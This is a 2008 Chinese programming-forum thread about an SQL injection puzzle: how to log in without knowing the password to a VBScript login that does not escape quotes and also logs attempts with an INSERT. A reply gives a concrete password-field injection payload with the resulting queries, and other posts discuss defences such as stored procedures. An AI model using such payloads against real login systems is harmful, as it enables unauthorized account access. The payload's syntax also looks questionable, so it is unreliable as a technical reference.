| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1229 人关注过本帖
标题:sql注入问题
只看楼主 加入收藏
三断笛
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:31
帖 子:1621
专家分:1617
注 册:2007-5-24
结帖率:37.5%
收藏
 问题点数:0 回复次数:9 
sql注入问题
某网站登陆入口,有正确的用户名,但忘密码了,已知没有过滤单引号,可以注入,但发现在登陆时还会用insert记录登陆的用户
验证登陆的SQL语句大致如下(VBscript语法): "select * from user_table where username='" & username & "' and password='" & password & "'"
插入登陆信息SQL语句大致如下: "insert into login_table(username,password,login_date) values('" & username & "',' & password & "',getdate())"

现在你的任务是如何构造一个username和password,既能通过登陆验证也能通过登陆信息记录
搜索更多相关主题的帖子: sql 
2008-11-24 23:19
bygg
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:乖乖的心中
等 级:版主
威 望:241
帖 子:13555
专家分:3076
注 册:2006-10-23
收藏
得分:0 
两条一起好像不行哦....

飘过~~
2008-11-25 11:02
铲铲
Rank: 7Rank: 7Rank: 7
等 级:贵宾
威 望:34
帖 子:506
专家分:0
注 册:2006-5-2
收藏
得分:0 
username = "正确的用户名' OR 1 = 1"
password = "select * from user_table where username = '正确的用户名'"

铲铲是也
2008-11-25 11:14
铲铲
Rank: 7Rank: 7Rank: 7
等 级:贵宾
威 望:34
帖 子:506
专家分:0
注 册:2006-5-2
收藏
得分:0 
刚才写错了,应该如下:
username = "正确的用户名"
password = "' + select password as password from user_table where username = '正确的用户名' + '"

解释
构造后的两语句为:
select * from user_table where username='正确的用户名' and password='' + select password as password from user_table where username = '正确的用户名' + ''

insert into login_table(username,password,login_date) values('" & username & "','' + select password as password from user_table where username = '正确的用户名' + '',getdate())

这样,将密码转变为了依据用户名从user_table表中获取,两头构造两个空字符串连接起来。这两个空字符串的其中一个单引号由两个语句提供了。
收到的鲜花
  • 三断笛2008-11-25 18:42 送鲜花  20朵   附言:我很赞同

铲铲是也
2008-11-25 11:32
寂寞的柳丁
Rank: 2
等 级:论坛游民
威 望:2
帖 子:93
专家分:10
注 册:2007-8-6
收藏
得分:0 
呵呵 强悍啊 学习了。。。
2008-11-25 17:34
小仙
Rank: 7Rank: 7Rank: 7
来 自:光之谷
等 级:贵宾
威 望:39
帖 子:1812
专家分:1
注 册:2008-8-8
收藏
得分:0 
铲铲果然厉害。不过要是用存储过程而不是语句的话,这种注入就应该可以被杜绝了。


仁者乐膳,智者乐睡。我都爱~
2008-11-25 18:53
寒行
Rank: 1
来 自:厦门软件学院
等 级:新手上路
帖 子:61
专家分:0
注 册:2008-6-29
收藏
得分:0 
厉害厉害,学习了。。。。。。
2008-11-27 10:10
bygg
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:乖乖的心中
等 级:版主
威 望:241
帖 子:13555
专家分:3076
注 册:2006-10-23
收藏
得分:0 
呵呵,又学了一招,不过现在很多都不直接用SQL语句了,呵

飘过~~
2008-11-27 10:42
铲铲
Rank: 7Rank: 7Rank: 7
等 级:贵宾
威 望:34
帖 子:506
专家分:0
注 册:2006-5-2
收藏
得分:0 
那可不一定哦。只要这种方式存在,任何程序的实现,在设计时都可能会考虑到这些方式。

我现在就不能断言,我所有的数据库访问都通过DataSet。因为DataReader尤其性能优异的一面,因此进行详细设计时,这两种访问数据库的方式都可能会考虑

[[it] 本帖最后由 铲铲 于 2008-11-27 17:04 编辑 [/it]]

铲铲是也
2008-11-27 17:03
bygg
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:乖乖的心中
等 级:版主
威 望:241
帖 子:13555
专家分:3076
注 册:2006-10-23
收藏
得分:0 
但是如果读取数据不再使用DataSet 和DataReader了呢??
也就是说整个项目中都不出现Sql语句了,像这样的情况还可能发生吗??还望赐教..

飘过~~
2008-11-27 17:15
快速回复:sql注入问题
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.033840 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved